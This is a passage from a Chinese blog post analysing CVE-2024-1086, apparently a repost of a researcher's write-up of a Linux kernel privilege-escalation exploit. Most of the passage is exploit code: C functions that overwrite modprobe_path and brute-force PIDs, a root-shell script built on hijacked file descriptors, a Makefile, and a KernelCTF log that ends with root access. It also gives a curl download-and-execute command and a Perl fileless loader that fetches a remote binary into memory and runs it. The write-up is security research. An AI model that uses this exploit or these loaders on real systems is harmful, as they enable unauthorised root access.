}

5.1.4 覆盖 modprobe_path

最后,我们现在有对 modprobe_path 的读写访问权限。不幸的是,还有一个最后的挑战:获取漏洞利用的“真实” PID,以便我们可以执行 /proc/<pid>/fd(包含权限提升脚本的文件描述符)。检查是否成功的部分将在下一节完成。

即使我们使用磁盘文件,漏洞利用也需要知道 PID,因为如果我们在挂载命名空间中,我们需要使用 /proc/<pid>/cwd。当然,在实际操作中有一些方法可以绕过这个限制,比如使用内核警告消息中显示的 PID,但我想让这个漏洞利用尽可能地通用。

如下面的代码块所示,我们将 modprobe_path 或静态用户模式助手字符串覆盖为 "/proc/<pid>/fd/<script_fd>",该路径引用了权限提升脚本,这将在接下来的部分中提到。

请注意,权限提升脚本(包含在此代码块中)使用当前 PID 猜测的 PID 进行 shell 操作,并检查猜测是否正确。

代码块 5.1.4.1:部分漏洞利用函数 privesc_flh_bypass_no_time() 的代码,用于覆盖 modprobe_path 内核变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#define MEMCPY_HOST_FD_PATH(buf, pid, fd) sprintf((buf), "/proc/%u/fd/%u", (pid), (fd));

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...

// 运行此脚本,而不是 /sbin/modprobe
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int status_fd = memfd_create("", 0);

// 范围 = (k * j) * CONFIG_PHYSICAL_ALIGN
// 每次迭代扫描 512 页(1 个 PTE 大小)以查找内核基址
for (int k = 0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
// 每次迭代扫描 1 页(而不是 CONFIG_PHYSICAL_ALIGN)以查找内核基址
for (unsigned long long j = 0; j < 512; j++)
{
// 从内核基址扫描 40 * 0x200000(2MiB)= 0x5000000(80MiB)字节以查找 modprobe_path。如果未找到,则搜索另一个内核基址
for (int i = 0; i < 40; i++)
{
void *pmd_modprobe_addr;
unsigned long long phys_modprobe_addr;
unsigned long long modprobe_iteration_base;

// ...(查找 modprobe_path)

PRINTF_VERBOSE("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);

printf("[*] overwriting path with PIDs in range 0->4194304...\n");
for (pid_t pid_guess = 0; pid_guess < 4194304; pid_guess++)
{
int status_cnt;
char buf;

// 覆盖 `modprobe_path` 内核变量为 `"/proc/<pid>/fd/<script_fd>"`
MEMCPY_HOST_FD_PATH(pmd_modprobe_addr, pid_guess, modprobe_script_fd);

if (pid_guess % 50 == 0)
{
PRINTF_VERBOSE("[+] overwriting modprobe_path with different PIDs (%u-%u)...\n", pid_guess, pid_guess + 50);
PRINTF_VERBOSE(" - i.e. '%s' @ %p...\n", (char*)pmd_modprobe_addr, pmd_modprobe_addr);
PRINTF_VERBOSE(" - matching modprobe_path scan var: '%s' @ %p)...\n", modprobe_path, modprobe_path);
}

lseek(modprobe_script_fd, 0, SEEK_SET); // 覆盖之前的条目
dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);

// ...(漏洞的其余部分)
}

printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");

return;
}

printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
}
}

printf("[!] failed to find kernel code segment... TLB flush fail?\n");
return;
}

5.1.5 触发 root shell

为了触发 root shell,我们通过 modprobe_trigger_memfd() 运行无效文件,该函数利用覆盖的 modprobe_path。新的 modprobe_path 指向下面的脚本(/proc/<pid>/fd/<fd>)。它将 1 写入新分配的状态文件描述符,这使得漏洞利用检测到已成功获得 root shell,并停止执行。然后,它将 shell 提供给控制台。

为了在不同环境中实现普遍适用的 root shell,而不做命名空间的假设并保持无文件状态,我“劫持”了漏洞利用的 stdin 和 stdout 文件描述符,并将它们转发到 root shell。这在本地机器上以及反向 shell 中均有效。实际上——在没有文件重定向功能的情况下——脚本运行如下:

代码块 5.1.5.1:以 root 身份执行的 BASH 脚本,用于传递成功状态并向用户提供 shell。

1
2
3
#!/bin/sh
echo -n 1 > /proc/<exploit_pid>/fd/<status_fd>
/bin/sh 0</proc/<exploit_pid>/fd/0 1>/proc/<exploit_pid>/fd/1 2>&1

代码块 5.1.5.2:部分漏洞利用函数 privesc_flh_bypass_no_time() 的代码,用于触发 modprobe_path 机制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
static void modprobe_trigger_memfd()
{
int fd;
char *argv_envp = NULL;

fd = memfd_create("", MFD_CLOEXEC);
write(fd, "\xff\xff\xff\xff", 4);

fexecve(fd, &argv_envp, &argv_envp);

close(fd);
}

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...

// 运行此脚本,而不是 /sbin/modprobe
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int status_fd = memfd_create("", 0);

// 范围 = (k * j) * CONFIG_PHYSICAL_ALIGN
// 每次迭代扫描 512 页(1 个 PTE 大小)以查找内核基址
for (int k = 0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
// 每次迭代扫描 1 页(而不是 CONFIG_PHYSICAL_ALIGN)以查找内核基址
for (unsigned long long j = 0; j < 512; j++)
{
// 从内核基址扫描 40 * 0x200000(2MiB)= 0x5000000(80MiB)字节以查找 modprobe_path。如果未找到,则搜索另一个内核基址
for (int i = 0; i < 40; i++)
{
for (pid_t pid_guess = 0; pid_guess < 65536; pid_guess++)
{
int status_cnt;
char buf;

// ...(覆盖 modprobe_path)

// 通过执行具有未知 binfmt 的文件来触发 root 权限的自定义 modprobe 文件
modprobe_trigger_memfd();

// 指示正确的 PID(和 root shell),停止进一步的暴力破解
status_cnt = read(status_fd, &buf, 1);
if (status_cnt == 0)
continue;

printf("[+] successfully breached the mainframe as real-PID %u\n", pid_guess);

return;
}

printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");

return;
}

printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
}
}

printf("[!] failed to find kernel code segment... TLB flush fail?\n");
return;
}

5.1.6 后利用阶段的稳定性

由于我们在内存中的一些操作,漏洞利用进程的页表页有些不稳定。幸运的是,这只在进程停止时成为问题,因此我们可以通过不让进程停止来解决。:^)

我们通过一个简单的 sleep() 调用来实现这一点,但不幸的是这会使用户的 TTY 也进入睡眠状态,因为进程在前台睡眠。为了解决这个问题,我们让漏洞利用生成一个子进程来执行实际的漏洞利用,并在父进程在逻辑上需要退出时退出。

此外,我们为子进程注册了 SIGINT 信号处理程序,用于处理(包括在内)键盘中断。这会使我们的子进程在后台进入睡眠状态。父进程不会受到影响,因为处理程序是在子进程中设置的。

注意,我们不能使用 wait(),因为子进程会一直在后台运行。

代码块 5.1.6.1:漏洞利用函数 main() 的部分代码,用于设置子进程并等待漏洞利用完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int main()
{
int *exploit_status;

exploit_status = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*exploit_status = EXPLOIT_STAT_RUNNING;

// 分离程序并在成功或失败时使其在后台睡眠
if (fork() == 0)
{
int shell_stdin_fd;
int shell_stdout_fd;

signal(SIGINT, signal_handler_sleep);

// 打开 stdout 等副本,这些副本不会在重定向 stdout 时被重定向,但会打印给用户
shell_stdin_fd = dup(STDIN_FILENO);
shell_stdout_fd = dup(STDOUT_FILENO);

#if CONFIG_REDIRECT_LOG
setup_log("exp.log");
#endif

setup_env();

privesc_flh_bypass_no_time(shell_stdin_fd, shell_stdout_fd);

*exploit_status = EXPLOIT_STAT_FINISHED;

// 防止由于无效页表而崩溃
sleep(9999);
}

// 防止过早退出
SPINLOCK(*exploit_status == EXPLOIT_STAT_RUNNING);

return 0;
}

5.1.7 运行漏洞利用

对于 KernelCTF,我使用以下命令运行了漏洞利用:cd /tmp && curl https://secret.pwning.tech/<gid> -o ./exploit && chmod +x ./exploit && ./exploit。这利用了目标机器上的可写 /tmp 目录。这是在我意识到我可以使用 Perl 以无文件方式执行漏洞利用之前的事情。最后,经过几个月的工作,我们终于得到了回报:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
user@lts-6:/$ id
uid=1000(user) gid=1000(user) groups=1000(user)

user@lts-6:/$ curl https://cno.pwning.tech/aaaabbbb-cccc-dddd-eeee-ffffgggghhhh -o /tmp/exploit && cd /tmp && chmod +x exploit && ./exploit
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 161k 100 161k 0 0 823k 0 --:--:-- --:--:-- --:--:-- 823k

[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
[+] running normal privesc
[*] waiting for the calm before the storm...
[*] sending double free buffer packet...
[*] spraying 16000 pte's...
[ 13.592791] ------------[ cut here ]------------
[ 13.594923] WARNING: CPU: 0 PID: 229 at mm/slab_common.c:985 free_large_kmalloc+0x3c/0x60
...
[ 13.746361] ---[ end trace 0000000000000000 ]---
[ 13.748375] object pointer: 0x000000003d8afe8c
[*] checking 16000 sprayed pte's for overlap...
[+] confirmed double alloc PMD/PTE
[+] found possible physical kernel base: 0000000014000000
[+] verified modprobe_path/usermodehelper_path: 0000000016877600 ('/sanitycheck')...
[*] overwriting path with PIDs in range 0->4194304...
[ 14.409252] process 'exploit' launched '/dev/fd/13' with NULL argv: empty string added
/bin/sh: 0: can't access tty; job control turned off
root@lts-6:/# id
uid=0(root) gid=0(root) groups=0(root)

root@lts-6:/# cat /flag
kernelCTF{v1:mitigation-v3-6.1.55:1705665799:...}

root@lts-6:/#

代码块 5.1.7.1:一次 KernelCTF 漏洞利用尝试的日志,获得了 root shell。

从实际操作的角度来看,用户可以将 PID 从内核警告中复制/粘贴到 KernelCTF 远程实例中的漏洞利用 stdin 中,但我希望通过暴力破解 PIDs 来使我的漏洞利用也能在其他基础设施上运行。

当目标机器安装了 Perl 时,漏洞利用支持无文件执行。当目标文件系统是只读时,这很好用。它通过将 modprobe_path 设置为 /proc/<exploit_pid>/fd/<target_script> 等方式实现。

1
2
3
4
5
6
7
8
perl -e '
require qw/syscall.ph/;

my $fd = syscall(SYS_memfd_create(), $fn, 0);
open(my $fh, ">&=".$fd);
print $fh `curl https://example.com/exploit -s`;
exec {"/proc/$$/fd/$fd"} "memfd";
'

代码块 5.1.7.2:使用 Perl 的漏洞利用引导脚本,无需写入磁盘即可执行(无文件执行)。

5.2 源代码

漏洞利用的源代码可以在我的 CVE-2024-1086 PoC 仓库中找到。与我所有的软件项目一样,我也尝试关注开发者体验。因此,漏洞利用源代码已分散到多个文件中,以实现关注点分离,只有应该在其他文件中调用的函数才会被导出(放在 .h 文件中),而所有其他函数都标记为静态的。这与面向对象编程语言的公共/私有属性非常相似。

此外,我决定让漏洞利用在发生错误时崩溃/退出,而不是正确返回错误。我之所以这样做,是因为返回错误代码没有增加任何价值,因为它的目的是作为一个独立的二进制文件而不是一个库。因此,如果有人出于某种原因决定将这些函数嵌入到库中,从语义上讲,他们应该使函数返回错误代码。

如果我遗漏了任何重要的语义,请随时通过博客文章底部的联系信息给我发私信。

5.3 编译漏洞利用

5.3.1 依赖项

漏洞利用有两个依赖项:libnftnl-devlibmnl-devlibmnl 解析和构造 netlink 头,而 libnftnl 可能为用户构建类似于 netfilter 的对象(如链和表),并将它们序列化为 libmnl 的 netlink 消息。这是一个强大的组合,允许用户完成漏洞利用所需的任何操作。

遗憾的是,我必须为漏洞利用做一些调整。在漏洞利用的仓库中,我添加了一个 .a(ar 存档)文件,用于用 musl-gcc 编译的库,这基本上是一个编译器理解的对象文件的 .zip。这允许使用 musl-gcc 静态链接这些库。我不得不下载一个单独的 libmnl-dev 版本,这在下面的部分中列出。幸运的是,对于最终用户来说,这意味着他们不必单独安装这些库。

5.3.2 Makefile

为了静态编译适用于 KernelCTF 的漏洞利用,我使用了以下 makefile:

代码块 5.3.2.1:用于静态编译漏洞利用的 Makefile。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
SRC_FILES := src/main.c src/env.c src/net.c src/nftnl.c src/file.c
OUT_NAME = ./exploit

# 使用 musl-gcc,因为使用 glibc 和 gcc 进行静态链接时会为 qemu 生成无效操作码
# 并且动态链接会导致 glibc ABI 版本错误
CC = musl-gcc

# 使用带固定版本的自定义头文件,使其与 musl-gcc 兼容
# - ./include/libmnl: libmnl v1.0.5
# - ./include/libnftnl: libnftnl v1.2.6
# - ./include/linux-lts-6.1.72: linux v6.1.72
CFLAGS = -I./include -I./include/linux-lts-6.1.72 -Wall -Wno-deprecated-declarations

# 使用用 musl-gcc 编译的自定义对象存档以实现兼容性。正常的那些
# 与 gcc 一起使用并包含 musl 不支持的 `_chk` 函数
# 版本与上面的头文件相同
LIBMNL_PATH = ./lib/libmnl.a
LIBNFTNL_PATH = ./lib/libnftnl.a

exploit: _compile_static _strip_bin
clean:
rm $(OUT_NAME)

_compile_static:
$(CC) $(CFLAGS) $(SRC_FILES) -o $(OUT_NAME) -static $(LIBNFTNL_PATH) $(LIBMNL_PATH)
_strip_bin:
strip $(OUT_NAME)

5.3.3 静态编译备注与错误

本节仅用于解决尝试静态编译其自己漏洞利用的人的问题。

5.3.3.1 libmnl 找不到

在使用 aptgcc 编译的过程中生活得很安逸时,我遇到的一个问题是 libmnl-dev —— 其中一个包含 netlink 函数的库 —— 在 Debian 稳定仓库中的 .a 文件在撰写本文时是无效的。尝试静态编译时,会看到类似以下内容的输出:

代码块 5.3.3.1.1:包含无法解析 libmnl 的链接错误的 Shell 错误输出。

1
2
3
/usr/bin/ld: cannot find -lmnl: No such file or directory 
collect2: error: ld returned 1 exit status
make: *** [Makefile:17: _compile_static] Error 1

要修复这个问题,请安装当前在不稳定仓库中的 libmnl 包:sudo apt install libmnl-dev/sid*/sid 安装来自 Debian 不稳定仓库的包)。

否则,只需克隆 libmnl 仓库,使用 gcc 自行编译该库,并创建 .a 文件。

5.3.3.2 无效操作码 - AVX 乐趣

我在使用 gccglibc 静态编译漏洞利用时遇到的最后一个问题是使用了不支持的指令——特别是不支持的 AVX(512)指令,通过在 Ghidra 中打开二进制文件并查看 RIP 地址可以观察到这一点。x86 扩展 AVX512 包含对服务器 CPU 支持的更大寄存器的指令。通常,gcc 使用正在运行的 CPU 的架构和支持的指令来轮询其指令支持,例如使用 CPUID。然而,我是在我的 Intel Xeon CPU 上使用 -cpu host 参数在 QEMU VM 中编译漏洞利用的,该 CPU 支持 AVX512。

问题在于 QEMU——至少在那个版本中——不支持 AVX512 扩展。因此,漏洞利用在 QEMU 中有 50% 的几率会因为不支持的操作码(指令)而引发 CPU 陷阱。这些指令被执行的原因又是一个复杂的问题。

代码块 5.3.3.2.1dmesg 输出包含无效操作码错误(CPU 陷阱)。

1
[   15.211423] traps: exploit[167] trap invalid opcode ip:433db9 sp:7ffcb0682ee8 error:0 in exploit[401000+92000]

我通过简单地移除 QEMU VM 的 -cpu host 参数解决了这个问题,并在该 VM 中编译漏洞利用,因为它将使用 QEMU 实际支持的 CPU 属性,因此 gcc 不再使用 AVX512,因为 CPUID 不会伪造 AVX512 支持。

遗憾的是,KernelCTF 实例始终启用了 -cpu host 参数。幸运的是,KernelCTF 社区告诉我需要使用 musl-gcc 静态编译漏洞利用,因为 glibc 并不适合静态编译。

6. 讨论

6.1 双重释放方法

在文章中,我展示了两种方法将 order==0 页和 order==4 页分配到相同地址:清空 PCP 列表和竞态条件。前者使后者过时,因为它不依赖竞态条件。

竞态条件方法只在使用虚拟机且 emulated serial TTY (即非 virtio-serial) 的情况下有效,因为物理系统上的竞态窗口过小(大约 1 毫秒,相较于虚拟机中的 50 毫秒到 300 毫秒)。幸运的是,这个延迟在 KernelCTF 中是 300 毫秒,因此允许我使用这种方法。

我对这种方法的质量和稳定性并不满意,因此在接下来一个多月的时间里对利用程序进行了改进,并想出了第二种方法:通过排空 PCP 列表来从伙伴分配器中分配页面。

我刚开始编写利用程序时并不了解伙伴分配器和 PCP 分配器的内部机制,直到深入研究分配器的内部工作原理,我才明白如何适当利用它们。因此,我最大的收获之一就是在试图滥用某个系统之前,先充分理解它,因为这总会带来优势。

6.2 后期稳定性

由于本文的概念验证利用程序利用了 sk_buff 的双重释放,并且需要处理被损坏的 skb,我们必须处理在网络活动期间产生的空闲列表中的噪音。当数据包被传输或接收时,skb 会从空闲列表中分配和释放。当前,我们通过在双重释放期间禁用标准输出来尽量减少这一情况,这在利用程序通过 SSH 或反向 shell 运行时很有帮助。

然而,在某些硬件系统上(如硬件设置表中的 Debian 系统),利用程序似乎在几秒钟后仍会导致系统崩溃。我尚未对此进行深入调查,但我怀疑这可能是因为硬件测试设备是笔记本电脑,因此具有 WiFi 适配器。由于 WiFi 帧(可能并不直接发送到设备上)也是 skb,因此在高流量 WiFi 网络上连接的 WiFi 设备可能会不稳定。当在 BIOS 中禁用 WiFi 适配器后,利用程序运行正常,这支持了这一理论。

如果研究人员希望在利用后提高利用程序的稳定性,他们可能需要操作 SLUB 分配器以使损坏的 skb 不可用,或者使用 Dirty Pagedirectory 来解决此问题。

7. 心态与签名

7.1 VR 心态

在解决这个项目时,我专注于三个关键目标:确保广泛兼容性、稳定性和隐蔽执行。本质上,这最终成为了一个非常强大的内核权限升级利用程序。此外,我还尝试尽可能保持代码库优雅,充分利用了我的软件工程背景。

这意味着除了 2 个月的开发期外,还有 2 个月用于改进利用程序以提高稳定性和兼容性。我决定走这条路,因为我想在这篇博文中展示我的技术能力(也是为了挑战自己)。

这意味着要以不同的方式思考:我需要利用那些旨在用于数据的子系统中的正常行为,并且这些行为将在广泛的系统中可用。这在利用技术中得到了体现,因为我只使用了 IPv4 子系统和虚拟内存,这在几乎所有的内核构建中都已启用。事实上,利用程序的主要工作是为了命中特定的代码路径(如从 1.1.1.1 到 255.255.255.255 发送的数据包)并使其变得优雅。

另外,我并没有在利用程序本身中滥用 slab 分配器的行为:只是在掩盖 sk_buff 对象和初始 kmalloc/kfree 调用时使用它们,这些调用最终传递给了页面分配器。因此,利用程序不受 slab 分配器行为的影响,因为它们由于引入了诸如随机 kmalloc 缓存等新缓解措施,行为会随着版本变化而变化。不幸的是,最初的漏洞需要无特权的用户命名空间和 nftables。其他技术,如 Dirty Pagedirectory 和 PCP 排空,应能不依赖于此而在真实世界的利用中使用。

7.2 反思

我在研究漏洞和开发利用技术时玩得非常愉快,并且真的投入于使利用程序工作中。之前从来没有哪个项目让我在开发过程中如此兴奋,尤其是第一次使用漏洞获得 root shell 的时候。此外,我也对 Linux 内核的网络子系统(从 nftables 到 IP 分片到 IP 处理代码)和内存管理子系统(从分配器到页表)有了更深的了解。

在我所有的 IT 领域经验中——从软件工程到网络工程再到安全工程——这是最有趣的一个项目,并且是我迄今为止遇到的最大挑战之一。

此外,它还给了我其他项目的灵感,我想开发并发布这些项目以回馈社区。不过,在它们准备好之前,它们还将保持秘密状态。:^)

7.3 致谢

我要感谢以下人员以各种方式对这篇博文的贡献:

  • @ky1ebot (Twitter/X): 详细的同行评审。
  • @daanbreur (Github): 帮助选择图表配色方案。

另外,我尝试在相关章节中链接我所使用的所有博文、文章等。如果你认为我在未提供引用的情况下使用了你的技术,请联系我,我会在相关章节中链接你的博文。

7.4 签名

感谢阅读,能够呈现这篇文章是我的荣幸。

如有专业需求,请联系 notselwyn@pwning.tech(PGP 密钥),我很乐意讨论各种想法和可能性。如有其他事情,也欢迎在 Twitter 上私信我:@notselwyn。

Notselwyn
2024年3月

  • Title: CVE-2024-1086 分析
  • Author: sky123
  • Created at : 2024-11-12 01:06:07
  • Updated at : 2024-11-16 03:03:21
  • Link: https://skyi23.github.io/2024/11/12/CVE-2024-1086/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
CVE-2024-1086 分析